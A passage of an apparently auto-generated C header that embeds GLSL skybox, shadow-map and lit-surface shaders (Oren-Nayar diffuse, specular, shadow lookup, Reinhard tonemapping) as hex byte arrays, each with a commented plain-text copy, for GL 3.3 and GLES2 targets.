0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,
0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,
0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,
0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x6b,0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x33,0x5d,0x29,0x20,0x2a,0x20,0x76,0x65,0x63,0x34,0x28,0x61,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,0x29,0x2e,
0x78,0x79,0x77,0x77,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 330
uniform samplerCube imageSkybox;
layout(location = 0) out vec4 fragColor;
in vec3 vTexCoord;
void main()
{
fragColor = texture(imageSkybox, vTexCoord);
}
*/
static const char fs_skybox_source_glsl330[176] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x33,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x43,0x75,0x62,
0x65,0x20,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x3b,0x0a,0x0a,
0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,
0x3d,0x20,0x30,0x29,0x20,0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x72,
0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x3b,0x0a,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,
0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x0a,0x76,0x6f,0x69,
0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x74,0x65,0x78,0x74,0x75,
0x72,0x65,0x28,0x69,0x6d,0x61,0x67,0x65,0x53,0x6b,0x79,0x62,0x6f,0x78,0x2c,0x20,
0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
#endif /* SOKOL_GLCORE33 */
#if defined(SOKOL_GLES2)
/*
#version 100
uniform vec4 vs_shadow_map_params[4];
attribute vec3 aPosition;
varying vec2 projZW;
attribute vec3 aNormal;
attribute vec2 aTexCoord;
attribute vec4 aColorMult;
attribute vec4 aColorOffset;
void main()
{
gl_Position = mat4(vs_shadow_map_params[0], vs_shadow_map_params[1], vs_shadow_map_params[2], vs_shadow_map_params[3]) * vec4(aPosition, 1.0);
projZW = gl_Position.zw;
}
*/
static const char vs_shadow_map_source_glsl100[400] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x30,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x34,0x5d,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,
0x63,0x33,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x76,0x61,
0x72,0x79,0x69,0x6e,0x67,0x20,0x76,0x65,0x63,0x32,0x20,0x70,0x72,0x6f,0x6a,0x5a,
0x57,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,
0x33,0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,
0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,
0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,
0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x34,0x20,0x61,
0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x0a,0x76,0x6f,
0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x6d,0x61,
0x74,0x34,0x28,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,
0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,
0x61,0x70,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2c,0x20,0x76,0x73,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x33,0x5d,0x29,0x20,0x2a,0x20,0x76,0x65,0x63,0x34,0x28,0x61,0x50,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x20,0x3d,0x20,0x67,0x6c,0x5f,0x50,
0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x7a,0x77,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 100
precision mediump float;
precision highp int;
varying highp vec2 projZW;
highp vec4 encodeDepth(highp float v)
{
highp vec4 _25 = fract(vec4(1.0, 255.0, 65025.0, 16581375.0) * v);
return _25 - (_25.yzww * vec4(0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0039215688593685626983642578125, 0.0));
}
void main()
{
highp float param = projZW.x / projZW.y;
gl_FragData[0] = encodeDepth(param);
}
*/
static const char fs_shadow_map_source_glsl100[452] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x30,0x30,0x0a,0x70,0x72,0x65,
0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,0x6d,0x65,0x64,0x69,0x75,0x6d,0x70,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x3b,0x0a,0x70,0x72,0x65,0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x69,0x6e,0x74,0x3b,0x0a,0x0a,0x76,0x61,0x72,0x79,
0x69,0x6e,0x67,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x32,0x20,0x70,
0x72,0x6f,0x6a,0x5a,0x57,0x3b,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,
0x63,0x34,0x20,0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x68,
0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x76,0x29,0x0a,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,
0x32,0x35,0x20,0x3d,0x20,0x66,0x72,0x61,0x63,0x74,0x28,0x76,0x65,0x63,0x34,0x28,
0x31,0x2e,0x30,0x2c,0x20,0x32,0x35,0x35,0x2e,0x30,0x2c,0x20,0x36,0x35,0x30,0x32,
0x35,0x2e,0x30,0x2c,0x20,0x31,0x36,0x35,0x38,0x31,0x33,0x37,0x35,0x2e,0x30,0x29,
0x20,0x2a,0x20,0x76,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,
0x6e,0x20,0x5f,0x32,0x35,0x20,0x2d,0x20,0x28,0x5f,0x32,0x35,0x2e,0x79,0x7a,0x77,
0x77,0x20,0x2a,0x20,0x76,0x65,0x63,0x34,0x28,0x30,0x2e,0x30,0x30,0x33,0x39,0x32,
0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,0x38,
0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x30,
0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,
0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,
0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,
0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,
0x2c,0x20,0x30,0x2e,0x30,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x76,0x6f,0x69,0x64,
0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x68,0x69,
0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,
0x3d,0x20,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x78,0x20,0x2f,0x20,0x70,0x72,0x6f,
0x6a,0x5a,0x57,0x2e,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x46,0x72,
0x61,0x67,0x44,0x61,0x74,0x61,0x5b,0x30,0x5d,0x20,0x3d,0x20,0x65,0x6e,0x63,0x6f,
0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x3b,0x0a,
0x7d,0x0a,0x0a,0x00,
};
/*
#version 100
uniform vec4 vs_params[16];
varying vec3 vNormal;
attribute vec3 aPosition;
varying vec3 vFragPos;
varying vec2 vTexCoord;
attribute vec2 aTexCoord;
varying vec4 vColorMult;
attribute vec4 aColorMult;
varying vec4 vColorOffset;
attribute vec4 aColorOffset;
varying vec4 v_shadow_pos;
attribute vec3 aNormal;
void main()
{
vec4 _29 = vec4(aPosition, 1.0);
vNormal = vec3(normalize(mat4(vs_params[8], vs_params[9], vs_params[10], vs_params[11]) * _29).xyz);
mat4 _39 = mat4(vs_params[4], vs_params[5], vs_params[6], vs_params[7]);
vFragPos = mat3(_39[0].xyz, _39[1].xyz, _39[2].xyz) * aPosition;
vTexCoord = aTexCoord;
vColorMult = aColorMult;
vColorOffset = aColorOffset;
v_shadow_pos = mat4(vs_params[12], vs_params[13], vs_params[14], vs_params[15]) * _29;
gl_Position = mat4(vs_params[0], vs_params[1], vs_params[2], vs_params[3]) * _29;
}
*/
static const char vs_source_glsl100[895] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x30,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x31,0x36,0x5d,0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,
0x67,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,
0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x33,0x20,0x61,
0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,
0x67,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,
0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x76,0x65,0x63,0x32,0x20,0x76,0x54,
0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,
0x74,0x65,0x20,0x76,0x65,0x63,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,
0x64,0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x76,0x65,0x63,0x34,0x20,
0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x61,0x74,0x74,0x72,
0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,
0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x76,
0x65,0x63,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,
0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x34,
0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x76,
0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,0x61,0x74,0x74,0x72,0x69,0x62,
0x75,0x74,0x65,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,
0x3b,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,0x32,0x39,0x20,0x3d,0x20,
0x76,0x65,0x63,0x34,0x28,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,
0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,
0x6c,0x20,0x3d,0x20,0x76,0x65,0x63,0x33,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,
0x7a,0x65,0x28,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x38,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x39,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x30,
0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x31,0x5d,
0x29,0x20,0x2a,0x20,0x5f,0x32,0x39,0x29,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x6d,0x61,0x74,0x34,0x20,0x5f,0x33,0x39,0x20,0x3d,0x20,0x6d,0x61,
0x74,0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,0x2c,
0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x35,0x5d,0x2c,0x20,0x76,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x36,0x5d,0x2c,0x20,0x76,0x73,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x37,0x5d,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,0x6d,0x61,0x74,0x33,0x28,
0x5f,0x33,0x39,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x33,0x39,0x5b,
0x31,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x33,0x39,0x5b,0x32,0x5d,0x2e,0x78,
0x79,0x7a,0x29,0x20,0x2a,0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,
0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,0x61,0x43,0x6f,
0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x43,0x6f,
0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,0x6d,0x61,0x74,
0x34,0x28,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x32,0x5d,0x2c,
0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x33,0x5d,0x2c,0x20,
0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x34,0x5d,0x2c,0x20,0x76,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x35,0x5d,0x29,0x20,0x2a,0x20,
0x5f,0x32,0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x6d,0x61,0x74,0x34,0x28,0x76,0x73,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x32,0x5d,0x2c,0x20,0x76,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x33,0x5d,0x29,0x20,0x2a,0x20,0x5f,0x32,0x39,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 100
precision mediump float;
precision highp int;
uniform highp vec4 material_params[5];
uniform highp vec4 fs_params[3];
uniform highp vec4 light_params[4];
uniform highp vec4 light2_params[4];
uniform highp sampler2D u_image_shadow_map;
uniform highp sampler2D uImage0;
varying highp vec4 v_shadow_pos;
varying highp vec3 vNormal;
varying highp vec3 vFragPos;
varying highp vec2 vTexCoord;
varying highp vec4 vColorMult;
varying highp vec4 vColorOffset;
highp float oren_nayar_diffuse(highp vec3 light_direction, highp vec3 view_direction, highp vec3 surface_normal, highp float roughness, highp float albedo)
{
highp float _214 = dot(light_direction, surface_normal);
highp float _218 = dot(surface_normal, view_direction);
highp float _224 = dot(light_direction, view_direction) - (_214 * _218);
highp float _235 = roughness * roughness;
return ((albedo * max(0.0, _214)) * ((1.0 + (_235 * ((albedo / (_235 + 0.12999999523162841796875)) + (0.5 / (_235 + 0.3300000131130218505859375))))) + ((((0.449999988079071044921875 * _235) / (_235 + 0.0900000035762786865234375)) * _224) / mix(1.0, max(_214, _218), step(0.0, _224))))) * 0.3183098733425140380859375;
}
highp float lambert_diffuse(highp vec3 light_direction, highp vec3 normal)
{
return dot(normal, light_direction);
}
highp float decodeDepth(highp vec4 rgba)
{
return dot(rgba, vec4(1.0, 0.0039215688593685626983642578125, 1.5378700481960549950599670410156e-05, 6.0308629201699659461155533790588e-08));
}
highp float calc_shadow(highp float cos_theta)
{
highp vec3 _169 = v_shadow_pos.xyz / vec3(v_shadow_pos.w);
highp vec4 param = texture2D(u_image_shadow_map, (_169.xy * 0.5) + vec2(0.5));
return step(decodeDepth(param), _169.z - (0.5 * clamp(0.004999999888241291046142578125 * tan(acos(cos_theta)), 0.0, 0.00999999977648258209228515625)));
}
highp float calc_spec(highp vec3 light_dir, highp vec3 view_dir, highp vec3 normal)
{
return ((8.0 + material_params[3].w) * 0.0397887341678142547607421875) * pow(max(dot(normal, normalize(light_dir + view_dir)), 0.0), material_params[3].w);
}
highp float attenuation_point(highp vec3 distance_by_radius, highp float falloff)
{
return pow(1.0 - min(1.0, length(distance_by_radius)), 2.0 * falloff);
}
highp float luminance(highp vec3 linear)
{
return dot(linear, vec3(0.2125999927520751953125, 0.715200006961822509765625, 0.072200000286102294921875));
}
highp vec3 linear_to_gamma(highp vec3 x)
{
return pow(x, vec3(0.4545454680919647216796875));
}
highp vec3 tonemap_reinhard(highp vec3 x)
{
highp vec3 param = x;
highp vec3 param_1 = x / vec3(1.0 + luminance(param));
return linear_to_gamma(param_1);
}
void main()
{
highp vec3 _283 = normalize(vNormal);
highp vec3 _295 = normalize(fs_params[2].xyz - vFragPos);
highp vec3 total = material_params[3].xyz;
highp vec4 _306 = texture2D(uImage0, vTexCoord);
highp vec4 _309 = _306 * vColorMult;
highp vec3 _319 = vec3(_309.xyz) * material_params[1].xyz;
highp vec3 param = light_params[0].xyz;
highp vec3 param_1 = _295;
highp vec3 param_2 = _283;
highp float param_3 = 0.5;
highp float param_4 = 1.0;
highp float _334 = oren_nayar_diffuse(param, param_1, param_2, param_3, param_4);
total += (material_params[0].xyz * light_params[1].xyz);
if (_334 > 0.0)
{
highp vec3 param_5 = light_params[0].xyz;
highp vec3 param_6 = _283;
highp vec3 param_7 = light_params[0].xyz;
highp vec3 param_8 = _295;
highp vec3 param_9 = _283;
total += ((((material_params[2].xyz * light_params[3].xyz) * calc_spec(param_7, param_8, param_9)) + ((_319 * light_params[2].xyz) * _334)) * (1.0 - calc_shadow(clamp(lambert_diffuse(param_5, param_6), 0.0, 1.0))));
}
highp vec3 _386 = light2_params[0].xyz - vFragPos;
highp vec3 _394 = _386 / vec3(length(_386));
highp vec3 param_10 = _394;
highp vec3 param_11 = _295;
highp vec3 param_12 = _283;
highp float param_13 = 0.5;
highp float param_14 = 1.0;
highp float _404 = oren_nayar_diffuse(param_10, param_11, param_12, param_13, param_14);
total += (material_params[0].xyz * light2_params[1].xyz);
if (_404 > 0.0)
{
highp vec3 param_15 = _386 / vec3(light2_params[0].w);
highp float param_16 = light2_params[1].w;
highp float _426 = attenuation_point(param_15, param_16);
if (_426 > 0.0)
{
highp vec3 param_17 = _394;
highp vec3 param_18 = _295;
highp vec3 param_19 = _283;
total += ((((material_params[2].xyz * light2_params[3].xyz) * calc_spec(param_17, param_18, param_19)) + ((_319 * light2_params[2].xyz) * _404)) * _426);
}
}
highp vec3 _457 = tonemap_reinhard(total);
total = _457;
gl_FragData[0] = vec4(_457, _309.w);
}
*/
static const char fs_source_glsl100[4868] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x30,0x30,0x0a,0x70,0x72,0x65,
0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,0x6d,0x65,0x64,0x69,0x75,0x6d,0x70,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x3b,0x0a,0x70,0x72,0x65,0x63,0x69,0x73,0x69,0x6f,0x6e,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x69,0x6e,0x74,0x3b,0x0a,0x0a,0x75,0x6e,0x69,0x66,
0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x6d,
0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x35,
0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x34,0x20,0x66,0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,
0x33,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,0x75,0x6e,0x69,
0x66,0x6f,0x72,0x6d,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x73,0x61,0x6d,0x70,0x6c,
0x65,0x72,0x32,0x44,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,
0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x3b,0x0a,0x75,0x6e,0x69,0x66,0x6f,0x72,0x6d,
0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x32,0x44,
0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x3b,0x0a,0x0a,0x76,0x61,0x72,0x79,0x69,
0x6e,0x67,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x5f,
0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,0x76,0x61,0x72,0x79,
0x69,0x6e,0x67,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,
0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,
0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x46,0x72,0x61,0x67,
0x50,0x6f,0x73,0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x68,0x69,0x67,
0x68,0x70,0x20,0x76,0x65,0x63,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,
0x64,0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x68,0x69,0x67,0x68,0x70,
0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,
0x3b,0x0a,0x76,0x61,0x72,0x79,0x69,0x6e,0x67,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,
0x74,0x3b,0x0a,0x0a,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,
0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,
0x73,0x65,0x28,0x68,0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,
0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x68,
0x69,0x67,0x68,0x70,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,
0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,
0x76,0x65,0x63,0x33,0x20,0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,
0x6d,0x61,0x6c,0x2c,0x20,0x68,0x69,0x67,0x68,0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x2c,0x20,0x68,0x69,0x67,0x68,
0x70,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x6c,0x62,0x65,0x64,0x6f,0x29,0x0a,
